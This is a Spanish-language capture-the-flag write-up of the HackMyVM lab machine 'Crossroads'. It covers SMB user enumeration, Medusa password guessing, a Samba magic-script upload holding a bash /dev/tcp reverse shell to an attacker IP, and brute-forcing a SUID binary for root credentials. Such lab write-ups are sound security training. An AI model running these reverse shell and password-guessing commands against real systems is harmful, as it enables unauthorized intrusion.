cd ~/blog

~/writeups/hmv/078-crossroads.md

078 - Crossroads

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
SMB User EnumerationWeak PasswordSamba Magic Script RCESUID Binary Abuse
hackmyvm.eu/machines/machine.php?vm=Crossroads

~1 min de lectura


Enumeración de servicios

Enumeramos puertos:

❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.20
❯ nmap -sCV -p80,139,445 -oN 02-targeted.txt 192.168.1.20
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-21 17:03 -04
Nmap scan report for 192.168.1.20
Host is up (0.00028s latency).

PORT    STATE SERVICE     VERSION
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/crossroads.png
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 12 Step Treatment Center | Crossroads Centre Antigua
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  oOV      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: CROSSROADS
...
❯ gobuster dir -u 'http://192.168.1.20' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,gif,png,sql,sh,pdf -r
...
/note.txt             (Status: 200) [Size: 108]
/crossroads.png       (Status: 200) [Size: 1100255]
...

❯ cat note.txt
 just find three kings of blues
 then move to the crossroads
 -------------------------------
 -abuzerkomurcu

SMB User Enumeration y password guessing

Enumeramos SMB con enum4linux y descubrimos el usuario local albert. La nota web sobre los tres reyes del blues orienta el diccionario hacia nombres relacionados, pero la contraseña se confirma únicamente cuando el servicio SMB acepta bradley1:

❯ enum4linux -a 192.168.1.20
...
user:[albert] rid:[0x3e9]
...

Probamos candidatos con Medusa contra una sola cuenta conocida, una forma de password guessing:

❯ medusa -u albert -P ~/Documentos/wordlists/rockyou.txt -h 192.168.1.20 -M smbnt
...
ACCOUNT FOUND: [smbnt] Host: 192.168.1.20 User: albert Password: bradley1 [SUCCESS (ADMIN$ - Share Unavailable)]
...

Acceso inicial mediante Samba Magic Script

Listamos los recursos compartidos y, en el home de albert, encontramos smbshare junto con un smb.conf. La directiva magic script = smbscript.sh indica que Samba ejecutará un archivo con ese nombre cuando el cliente termine de escribirlo y lo cierre. Como el recurso es escribible por albert, quien controla el archivo controla el script que consume el servicio:

❯ smbclient //192.168.1.20/albert -U albert
smb: \> ls
  smbshare                            D        0  Tue Mar  2 19:16:13 2021
  crossroads.png                      N  1583196  Tue Mar  2 19:34:03 2021
  beroot                              N    16664  Tue Mar  2 20:02:41 2021
  user.txt                            N       32  Tue Mar  2 20:15:18 2021
❯ cat smb.conf
...
[smbshare]
path = /home/albert/smbshare
valid users = albert
writable = yes
magic script = smbscript.sh
...

Subimos un smbscript.sh que abre una reverse shell. La ejecución ocurre con la identidad bajo la que Samba atiende esa operación, que en la evidencia es albert:

❯ cat smbscript.sh
#!/bin/bash

bash -i >& /dev/tcp/192.168.1.3/1234 0>&1

❯ smbclient //192.168.1.20/smbshare -U albert
smb: \> put smbscript.sh

❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.20:48236.
bash: cannot set terminal process group (763): Inappropriate ioctl for device
bash: no job control in this shell
albert@crossroads:/home/albert/smbshare$

Escalada mediante un binario SUID

Obtenemos la primera flag. En el home hay una crossroads.png distinta de la descargada; al procesarla con StegoVeritas obtenemos un wordlist:

❯ stegoveritas crossroads.png

También hay un binario SUID llamado beroot que pide una contraseña. Como el ejecutable pertenece a root, cualquier acción privilegiada que realice después de validar el valor ocurre con ese UID efectivo. Probamos el wordlist extraído con un bucle y observamos que lemuel activa una rama distinta:

albert@crossroads:/home/albert$ for PASSWD in $(cat wordlist.txt); do echo $PASSWD >> tmp; echo $PASSWD | ./beroot >> tmp; done

albert@crossroads:/home/albert$ cat tmp
...
lemuel
enter password for root
-----------------------

do ls and find root creds
...

La rama privilegiada crea rootcreds y expone la contraseña de root. El cambio de comportamiento y el archivo resultante, no el simple hecho de que el binario tenga SUID, confirman la explotación:

albert@crossroads:/home/albert$ cat rootcreds
root
___drifting___

albert@crossroads:/home/albert$ su root
Password: ___drifting___
id
uid=0(root) gid=0(root) groups=0(root)

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados